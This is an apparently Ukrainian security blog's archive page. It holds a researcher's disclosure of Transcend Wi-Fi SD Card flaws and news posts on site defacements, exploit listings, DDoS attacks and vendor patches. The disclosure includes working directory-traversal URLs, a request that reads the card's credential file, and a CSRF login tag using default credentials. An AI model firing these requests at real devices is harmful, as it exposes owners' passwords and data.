Архів за Травень, 2018

Нові уразливості в Transcend Wi-Fi SD Card

23:51 12.05.2018

28.03.2017

У травні, 10.05.2014, я знайшов Directory Traversal та Cross-Site Request Forgery уразливості в Transcend Wi-Fi SD Card. Це флешка з бездротовим доступом.

Раніше я писав про уразливості в Transcend Wi-Fi SD Card.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам пристрою.

12.05.2018

До флеш карти можна під’єднатися в двох режимах: Direct Share та Internet Mode. В першому режимі пристрій з Wi-Fi під’єднується до цієї карти, а в другому режимі сама карта під’єднується до Wi-Fi пристроїв (точки доступу, роутера чи смартфону з увімкненим Personal Hotspot) - тоді всі комп’ютери в LAN отримають до неї доступ. Всі наведені атаки працюють в обох режимах.

Адреса http://192.168.0.70 - це динамічний IP, що виділяється в другому режимі роботи (DHCP на роутері чи AP), адреса буде змінюватися. Тому її потрібно спочатку виявити для атаки. Як то скануванням IP чи в статистиці роутера.

Directory Traversal (WASC-33):

Читання списку директорій:

http://192.168.0.70/cgi-bin/show_pic.cgi?dir=/etc
http://192.168.0.70/cgi-bin/show_video.cgi?dir=/etc
http://192.168.0.70/cgi-bin/file_list.pl?dir=/www/sd/../../etc

Directory Traversal (WASC-33):

Читання довільних файлів (AFD):

http://192.168.0.70/cgi-bin/wifi_download?fn=wsd.conf&fd=/www/sd/../mtd/config

Це файл конфігурації з логіном і паролем до адмінки, до самої карти по Wi-Fi та до точки доступу Wi-Fi.

Cross-Site Request Forgery (WASC-09):

Серед багатьох CSRF уразливостей в адмінці відзначу атаку для віддаленого логіну. В процесі логіна немає капчі, тому окрім відсутності захисту від BF, також можлива CSRF атака. Можна віддалено зайти в адмінку (з логіном і паролем по замовчуванню) для проведення подальших CSRF атак.

<img src=”http://admin:admin@192.168.0.70″>

Transcend Wi-Fi SD Card CSRF.html

Вразлива Transcend Wi-Fi SD Card 16 GB, Firmware v.1.8. Ця модель з іншими прошивками та інші моделі також можуть бути вразливими.

Цікаве чтиво на тему web security

22:47 12.05.2018

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, зокрема про DoS і DDoS атаки (статті з Вікіпедії):

Дев’ятий масовий взлом сайтів на сервері Ukraine

19:31 12.05.2018

Цього року відбувся новий масовий взлом сайтів на сервері Ukraine. Він відбувся з 26.03.2015 по 14.02.2018. Восьмий масовий взлом сайтів на сервері Ukraine відбувся раніше.

Був взломаний сервер української компанії Ukraine. Взлом складався з декількох масових дефейсів та багато окремих дефейсів.

Всього було взломано 83 сайти на сервері хостера Ukraine (IP 185.68.16.34). Перелік сайтів можете подивитися на www.zone-h.org. Серед них український державний сайт doltour.gov.ua.

З них 18 сайтів були взломані хакерами з Guardiran Security Team, 17 сайтів хакерами з D.R.S Dz Team, 14 сайтів хакером ZoRRoKiN та інші сайти іншими хакерами.

Масові дефейси хакерами Guardiran Security Team, ZoRRoKiN і D.R.S Dz Team явно були зроблені через взлом серверу хостінг провайдера. У випадку окремих дефейсів по одному чи декілька сайтів, всі вони явно були зроблені при взломах окремих сайтів. Але також можлива атака на інші сайти на даному сервері через взлом одного сайту та використання уразливостей в програмному забезпеченні самого сервера.

Вийшов Google Chrome 64

23:58 11.05.2018

У січні, 25.01.2018, через півтора місяці після виходу Google Chrome 63, вийшов Google Chrome 64.

В браузері зроблено багато нововведень. Та виправлені численні уразливості.

Виправлено 53 уразливостей. З яких більшість виявлені в результаті автоматизованого тестування інструментами AddressSanitizer, MemorySanitizer, Control Flow Integrity і LibFuzzer. Що значно більше ніж в попередній версії.

  • Выпуск web-браузера Chrome 64 (деталі)

Квітневі DDoS атаки та взломи

22:45 11.05.2018

Раніше я писав про березневі DDoS атаки та взломи в Україні, а зараз розповім про ситуацію в квітні.

В зв’язку з сепаратистськими і терористичними акціями на сході України, хакерська активність була значною. Відбулися наступні DDoS атаки та взломи в Інтернеті.

Іноземні хакери провели неполітичні взломи державних сайтів:

eduvzn.gov.ua (хакером BALA SNIPER) - 13.04.2018
lepetykha-rda.gov.ua (хакером RxR) - 18.04.2018
www.sea.gov.ua (хакерами з TeaM_CC) - 20.04.2018
industry.zt.gov.ua (хакерами з ErrOr SquaD) - 20.04.2018
lsp.sea.gov.ua (хакерами з TeaM_CC) - 21.04.2018
mev.gov.ua (хакерами з Electronic Thunderbolt Team) - 22.04.2018
usrinfo.minjust.gov.ua (хакерами з ErrOr SquaD) - 22.04.2018
dffd.gov.ua (хакером AdGhosT) - 23.04.2018

Проукраїнськими хакерами були атаковані наступні сайти:

Квітневі DDoS атаки на сайти ДНР і ЛНР

Сайти ДНР і ЛНР були атаковані неодноразово на протязі місяця.

Українські Кібер Війська закрили наступні сайти:

Закритий сайт ukrop.dn.ua (через скаргу хостеру) - 04.2018

Уразливості в плагінах для WordPress №282

20:01 11.05.2018

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Event Registration, BulletProof Security, Brafton, Ninja Forms, WP Mobile Detector. Для котрих з’явилися експлоіти.

  • WordPress Event Registration 6.02.02 XSS / SQL Injection (деталі)
  • Wordpress BulletProof Security 53.3 Cross Site Scripting (деталі)
  • WordPress Brafton 3.3.10 Cross Site Scripting (деталі)
  • WordPress Ninja Forms Unauthenticated File Upload (деталі)
  • WordPress WP Mobile Detector 3.5 Shell Upload (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Добірка експлоітів

17:24 11.05.2018

В даній добірці експлоіти в веб додатках:

  • Sophos Web Appliance 4.2.1.3 - DiagnosticTools Remote Command Injection (Metasploit) (деталі)
  • Apache mod_session_crypto - Padding Oracle (деталі)
  • PHPMailer < 5.2.18 - Remote Code Execution (PHP) (деталі)
  • Nagios < 4.2.2 - Arbitrary Code Execution (деталі)
  • Horos 2.1.0 Web Portal - Directory Traversal (деталі)

Похакані сайти №352

23:59 10.05.2018

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

  • http://old.kam-pod.gov.ua (хакером Ayyildiz Tim-maress) - 10.07.2017 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://new.kam-pod.gov.ua (хакером Ayyildiz Tim-maress) - 10.07.2017 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://doc.osvita-kp.gov.ua (хакером Ayyildiz Tim-maress) - 10.07.2017 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://sobornarada.gov.ua (хакером Ayyildiz Tim-maress) - 10.07.2017 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://rajvosevlush.gov.ua (хакером Prosox) - 10.09.2017 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://plaw.nlu.edu.ua (хакером Mr E[R]) - 13.04.2017. Спочатку сайт був хакнутий Mr E[R], потім 21.06.2017 хакером Miracle, зараз сайт закритий адмінами
  • http://mirabo.kiev.ua (хакером r00tkit) - 06.12.2017, зараз сайт вже виправлений адмінами
  • http://europe.mirabo.kiev.ua (хакерами Darkshadow-tn і Mister Spy) - 06.12.2017, зараз сайт вже виправлений адмінами
  • http://expo-odessa.com (хакером Golden Hacker)
  • http://foto-one.com.ua (хакером amin0461) - 16.03.2018, зараз сайт закритий

Квітневий вівторок патчів від Microsoft

22:48 10.05.2018

У квітні місяці Microsoft випустила нові патчі.

У квітневому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло багато патчів, але починаючи з квітня 2017 року бюлетені по безпеці не випускаються, тому їх кількість невідома. Компанія вказує лише назви продуктів та номера патчів, а не кількість і деталі бюлетенів (патчів). Вони закривають уразливості в програмних продуктах компанії.

Дані патчі стосуються поточних операційних систем компанії Microsoft - Windows 7, 8.1, RT 8.1, 10 та 2016. А також Microsoft Office, Internet Explorer і Edge, Office Web Apps і SharePoint Server, Malware Protection Engine та Visual Studio.

Також Microsoft випустила патч для уразливостей в Adobe Flash Player, що постачається з Windows.

Вийшли PHP 7.1.15 і 7.2.3

19:37 10.05.2018

У березні, 01.03.2018, вийшли PHP 7.1.15 і PHP 7.2.3. У версії 7.1.15 виправлено багато багів і уразливостей, у версії 7.2.3 виправлено багато багів і уразливостей.

Дані релізи направлені на покращення безпеки і стабільності гілок 7.1.x і 7.2.x.

У PHP 7.1.15 і 7.2.3 виправлено:

  • Пошкодження пам’яті.
  • Численні вибивання в різних функціях (DoS).
  • Уразливості в ядрі та модулях.

По матеріалам http://www.php.net.